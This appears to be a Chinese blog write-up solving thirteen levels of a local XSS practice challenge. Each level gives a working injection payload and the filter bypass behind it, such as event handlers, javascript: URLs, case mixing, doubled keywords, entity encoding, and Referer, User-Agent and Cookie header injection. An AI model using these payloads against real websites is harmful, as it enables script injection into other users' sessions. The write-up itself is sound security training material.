XssChallenge挑战1—13关

0x01 环境说明

测试环境为搭建了phpStudy2016的Windows8主机,将网站压缩包解压到phpStudy对应安装路径下的www目录

挑战关卡以网页形式展现,对当前页面成功进行XSS攻击后便会跳转到下一关


0x02 解题过程

1

第一关比较简单,网页没有可输入的地方,但是地址栏出现了参数name,直接在地址构造JS代码

<script><alert(/hello/)</script>


2

第二关出现了文本输入框,于是考虑将input标签进行闭合,再插入JS代码

"><script>alert(/hello/)</script>



3

第三关的形式和第二关一样,我们输入一段验证代码看看它是否有过滤规则

<sCr<scrscRiptipt>ipt>OonN\'\"<>


通过查看源代码发现,value值的闭合并非是在查看器里显示的双引号 “ ”而是单引号‘ ’


而且“和>被转化成了html实体编码,payload无法逃出input标签,所以考虑采用事件驱动

test' onmouseover='alert(/xss/)"


4

拿代码<sCript>OonN'"<>测试过滤规则


通过查看网页源代码,发现value是通过双引号闭合,感觉和上一关的方式差不多

test" onkeydown="alert(/xss/)"


5

通过测试代码发现当前页面对提交的数据大小写不敏感,但是会过滤on和script标签


script标签被过滤,考虑使用javascript伪协议

test"><a href="javascript:alert(/xss/)">123</a>


6

用测试代码测试一下,发现依旧对标签关键字有过滤


但是对大小写不敏感,用上一题的答案修改一下

test"><a hRef="javascript:alert(/xss/)">123</a>


7

通过测试代码发现,对script和on关键字有过滤


但是好像只进行一次过滤,因此考虑使用双写绕过

"><scrscriptipt>alert(/xss/)</scrscriptipt>


8

第八关出现了链接文字,在输入框提交数据后便会将提交内容作为文字的链接,但是会对关键字进行过滤


此时考虑将伪协议进行转码

j&#97;vas&#x63;ript:alert(/xss/)


9

将测试代码和上一关的代码进行提交,悬停链接文字时发现会提示为链接不合法


考虑到网页的url都是以http/https开头,因此尝试在代码中进行加入。


但是直接将http://加入到代码前面会使代码失效,猜测所需要的并非是一个真正有效的链接地址,尝试将http://加入到alert的()中,或者以注释的形式添加到代码后面

j&#97;vas&#x63;ript:alert('http://')
j&#97;vas&#x63;ript:alert(/xss/)//http://
j&#97;vas&#x63;ript:alert(/xss/)/*http://*/



10

第十关的页面上没有任何可以输入或者点击的地方,观察到地址栏有一个参数keyword,尝试在地址栏输入测试代码,但是页面仍然没有任何改变


查看网页源代码,发现keyword内容中的<> "被转换成了HTML实体编码。但同时还发现了三个隐藏的输入框,参数分别为t_link,t_history,t_sort.


向这些参数逐个尝试提交JS代码,发现无论向t_link和t_history提交任何数据都不会有变化,但是向t_sort提交数据时可以执行payload

?t_sort=" type="text" onmouseover="alert()"
?t_sort=" type="text" onfocus="alert()" autofocus


11

直接查看网页源代码,发现和上一关相比多了一个r_ref参数,并且value值里面的值为通过上一关时的URL


除了t_sort参数可以收到提交的数据以外,其他三个参数无论提交什么都不会接收。但是提交给t_sort的数据会进行过滤


考虑使用BP进行抓包改包,从r_ref的默认value值为上一个网页的URL得到提示,尝试修改请求包中的Referer字段

Referer:" type="button" onclick="alert()"



12

先查看源代码,发现参数t_ua的value里的值是浏览器的指纹信息


祭出BP,修改请求包中的User-Agent字段的内容

" type="button" onmouseover="alert()"



13

先看网页源代码,发现了一个新参数t_cook。虽然value中没有信息,但猜测应该是浏览器中的Cookie信息


用BP修改请求包中的Cookie字段的内容

user=" type="text" onkeyup="alert()"

posted on 2020-08-06 17:59  黎夜  阅读(492)  评论(1编辑  收藏  举报